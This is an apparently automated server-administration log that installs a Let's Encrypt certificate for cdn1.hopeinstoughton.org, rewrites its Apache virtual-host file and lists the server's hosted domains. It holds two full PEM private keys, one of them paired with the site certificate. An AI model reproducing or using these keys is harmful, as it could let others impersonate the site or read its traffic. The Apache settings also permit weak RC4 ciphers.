AcBV8vUaJYvSSezEFy7I9t64Rcgvv9itOPn4u+QKCvIy+ndUw/oRncsmRrAOAr4H
LBNjJ4E3H+bB40mQlxLEjvWgYwKBgQDlPPGKqdgrkgRj+tFRI4fJIiMUvzGLj37H
1ysKZYogF90BRdouS2MhLJtNGZ/Nno7D3LkaqUwq/6j3IucyATa1MH/SAaV8Ljz9
+WGD+zMtv6emB4TLAYCOOEmWvzGily4slFhvIVZeWqD4Eogalg4BBZ1eKOft4c+Z
MbfQm6iLzQKBgGsLYOhlv8QYp3I0g+llr3wQjO4EpcuUykVgkBOG/pqZrCBQKSVC
KUTdO/IveqmyLV0CiqnunVFgU7Fqnyps26VH1yZmTGiwtDghBi5wG9brU8eNQnLJ
4YDlOiTLBbJQ+TaWqSSp1ZES9zvZW/WaJ/k5aUd6/6313LtE0Yn1Sts/AoGBAJN/
Ows1bVnbgeeyoqvKaLwJsvjObFqX4cNDtvXhj5ZGxHTlNRVEfGwD/4kES8ZJlyJ/
CrsU42VnSph5ZLjP/xtmMVg2pvvX5Hal1xDMuIlfH8e8Xr0gIk9f+Dl+m7k5/QPC
D4SxtpjPR3NWuSwiELCnpDHJsDFncePoEZWwEiqhAoGAIFZ23zcc2hfaKMhFD2Y6
Ma+0jO3MP8DeXRcQC+VCR4fjgbpuBPhR6JGcrw+ogFlFgfDc7JjGZflCF5npMud5
DYyk15AwFaZuAXgssOhiNWVey+3SPIT/D2jto34mNXOimvOXYAyffhWHeYPBBTfE
moUDUf/jwpdqifgh+57r8JA=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-08-30 06:02:18: Establishing a connection
2025-08-30 06:02:18: Establishing a connection
2025-08-30 06:02:18:
PUT: /tmp/pkp519288
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn1/.well-known" ]; then
echo 1
else
echo 0
fi
2025-08-30 06:02:18:
chmod 755 /tmp/pkp519288; /tmp/pkp519288; rm /tmp/pkp519288
2025-08-30 06:02:18:
1
2025-08-30 06:02:19: Establishing a connection
2025-08-30 06:02:19:
PUT: /tmp/pkp968310
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cat > xHv4YHs1ZF5cYYe7pdKIC4ONyYuLEgWmMmdXLDskflg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xHv4YHs1ZF5cYYe7pdKIC4ONyYuLEgWmMmdXLDskflg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xHv4YHs1ZF5cYYe7pdKIC4ONyYuLEgWmMmdXLDskflg
2025-08-30 06:02:19:
chmod 755 /tmp/pkp968310; /tmp/pkp968310; rm /tmp/pkp968310
2025-08-30 06:02:19:
2025-08-30 06:02:23: Establishing a connection
2025-08-30 06:02:23:
PUT: /tmp/pkp312341
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
rm xHv4YHs1ZF5cYYe7pdKIC4ONyYuLEgWmMmdXLDskflg
2025-08-30 06:02:23:
chmod 755 /tmp/pkp312341; /tmp/pkp312341; rm /tmp/pkp312341
2025-08-30 06:02:23:
2025-08-30 06:02:23: Establishing a connection
2025-08-30 06:02:23:
PUT: /tmp/pkp653861
#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0.crt
cat > $temp_file <<'endmsg'
ef:64:7f:d1:38:c8:d7:92:bb:4a:14:1c:90:1d:1d:7e
-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBuavTtACnwucK8NB6Kr4FOvfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMzUyWhcNMjUxMTI4MDUwMzUxWjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDWAqXce05lokV/aV19muOyGRwMEXpC3LPFzgMVwNzBIKQyJ/U0
dnwbqYdk8vUuf2y603Ts0AFcekjoi2pFCl4sRfr14Oyl2E0Bnf6efwqkOlUCSLN+
FF46tWVr8yLNzSM6hsVDtMYPifok5gnfkT770y+eIlMDQczCtTKEy44wJoMQ9HRK
75QIB+RMGZrNjE9ux5AszaMf9C4TiimeMqxmIXPRQZue8CKSVojitiRCFQpOqyG5
sx2+8SGlEONWpEKoHcpy6Y3UFhBHrg0V7VsmNsLEwgImlVA2h1OwLZHpQVFQGSI3
SziHMZgYh8zKeIV58hkoFhSYkgMisHhxA7NhAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFA+ZWR3ik313Ak0l/l0nBA5Fhdj0MB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvOTYuY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHYADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDvDkIetH5OqjQA
AAGY+ZHdrAAABAMARzBFAiEAqZVOzPWH4vpsoWZQCECeRh1+dVqRz1LXoM1gvoIV
wkgCIGqatdsGZ1DkD5NJq8+J96lHZVcHyXGEU1tDbVvBNhAPAHYA7TxL1ugGwqSi
AFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGY+ZHdyQAABAMARzBFAiEAgPDeNSsQ
fIXcXZ6v1rkyAvmmgq7LuiR14guEXQ93FSYCIGAOYvykmB0LVX4l1/u2sT4BK/Ej
o2P/Nuydxnm/DEznMA0GCSqGSIb3DQEBCwUAA4IBAQAcj2H+GZ6j36yaVJM78xHG
2cTC9eNKhDiUloRmF/u1//fwXeu2J/8hXOdQmsNXf6mDoBRLmKpGYGRMBpGFOYPf
Q7Fr8hIgBMxGAbmSRCbBRUULwYMJ0Cw2dfAcBpqYkYAs+iMpAexh3tgE2dhy2XQX
6FOADxZ0/gBCgbdfdX1vhFV/Jnb1VrOUjHCKzdH4gDPhg8kmu70ZEWQMDi2VW4nM
Ba1PxagqDFmgmPCuhA1Q8jaPFayKFZKCqdy4Op0eDxWYEIh1vT/DC9shST+kBQKR
I4mKZRcN9sKDHfqf0nR77mfnqWeVb06I5qC1ryZSEq8jomDUIyl69UhFvg6gXCRs
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDWAqXce05lokV/
aV19muOyGRwMEXpC3LPFzgMVwNzBIKQyJ/U0dnwbqYdk8vUuf2y603Ts0AFcekjo
i2pFCl4sRfr14Oyl2E0Bnf6efwqkOlUCSLN+FF46tWVr8yLNzSM6hsVDtMYPifok
5gnfkT770y+eIlMDQczCtTKEy44wJoMQ9HRK75QIB+RMGZrNjE9ux5AszaMf9C4T
iimeMqxmIXPRQZue8CKSVojitiRCFQpOqyG5sx2+8SGlEONWpEKoHcpy6Y3UFhBH
rg0V7VsmNsLEwgImlVA2h1OwLZHpQVFQGSI3SziHMZgYh8zKeIV58hkoFhSYkgMi
sHhxA7NhAgMBAAECggEBAKow1OIwFTpx/77Bdh3rTWRW350hUQ9XIIgPuxhTlbro
UGuqpy+fgjclbIz1QdJGd5tjijrBeDOo884rAMoC4r1msZtT0h5Zk3PTx6cX9MiB
sxTr6AI+BGm/0/YzFtx/ZKKohru/STsWSR2K6xMmGOZ/HgEt3sJaU5IMMy60ClFy
+qzI4l2AVjabMNCYDZpaQtJYgC+QhQOnBEdJ8J/5cbjXGrM02oHr8BqK46zS75KP
jGi6KO9f94jyO3jl18ZzSqU6t5p01BhCIHQ16Rs6EJwjtax4OEj4WMxXD+iczWnY
Be+OfjLRCMHxK8O93AS4/D6heTc0jVqHOeYo/rDAnNkCgYEA7zfsgoA4Oa79JTSo
zIYEDQqrQzLhpL8IavthcIiqTELwOO2MVg6KtnxwOMmoctaeuGPhe8OWfZPvXsG+
XR2k+xWqqbu3dLJW4fTSf4munGvAiX0slysOQYTPqaq+HMmawFK9HnFt/RHx4Hvb
8b9UU45Lg1kWgxXhGpwjdZ40d08CgYEA5QYEQ8UkhF6iepS9Xzp/JZgmn3oKiwQi
aZ39C+jVdH25lmWwlk/4F6MkaxNaRyXQuWZ8qQxgyflPIcfqynUuyEqj8sN+OHbw
ME5x5pDqXmJ/VNWtMByzG9XNGT0flF7DC/yKvPxNThHF2Aa4w+9YQbgbNv7DWGsz
CHdKO+vGfk8CgYAJk/OkRf36UUdRdgpMJhGDdCnnRuJB9mQf5HDCULaA1y1HGjvE
NlDXfaQAohJchrtUJqugiPQ9ku7CnH9Cuy0f4H40zY9K3Nkdsu+6q4iSOr46wwhG
BTNM7ERkRrHV9Tx89tMbpO8CcvV8R3lG9KIrtkbPu4FrPjUFG7tPukXfgQKBgBKb
y4rqIM50lgUZws1TBnO6iiDZHLQw8M7eHGp0T6u4b3Tt7Ew6UTEye0oL94DibLQz
xJtDuzWOAUUAZm5u2Q9DKVEXW1EhMODr7stKKRDkNe5hskG/gzoWxCRx1/gJPxXh
PjCe23Ulcorb+PVKpEQqvmNYjezIQQxGDQ0TWjx3AoGAfZ8xFTZLzIBUAkD0B/ih
4RomzvQTQR6/xD4gjVxxZdLq0NJ98ygICCWnlNcqdrFmDvhbQ5P/rDBdFwaTTV2j
AGJ9jLCcutt0+cCRws5v97kNupATQcKXbsuy/B4/R78zFlQwak8cH9DKewKPHmo0
iM+XePcX6FQH9poGFzPirc8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-08-30 06:02:23:
chmod 755 /tmp/pkp653861; /tmp/pkp653861; rm /tmp/pkp653861
2025-08-30 06:02:23:
dir=/etc/ssl/certs
2025-08-30 06:02:23:
PUT: /tmp/pkp817475
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-30 06:02:23:
chmod 755 /tmp/pkp817475; /tmp/pkp817475; rm /tmp/pkp817475
2025-08-30 06:02:23:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 48
<VirtualHost *:80>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-08-30 06:02:23:
PUT: /tmp/pkp676280
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn1_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf= 1'
fi
2025-08-30 06:02:23:
chmod 755 /tmp/pkp676280; /tmp/pkp676280; rm /tmp/pkp676280
2025-08-30 06:02:23:
2025-08-30 06:02:23:
PUT: /tmp/pkp631234
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-30 06:02:23:
chmod 755 /tmp/pkp631234; /tmp/pkp631234; rm /tmp/pkp631234
2025-08-30 06:02:24:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-30 06:02:24: Establishing a connection
2025-08-30 06:02:24:
PUT: /tmp/pkp361945
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-30 06:02:24:
chmod 755 /tmp/pkp361945; /tmp/pkp361945; rm /tmp/pkp361945
2025-08-30 06:02:24:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:22)
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-30 06:02:24:
PUT: /tmp/pkp730713
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf')
finally:
gz.close();
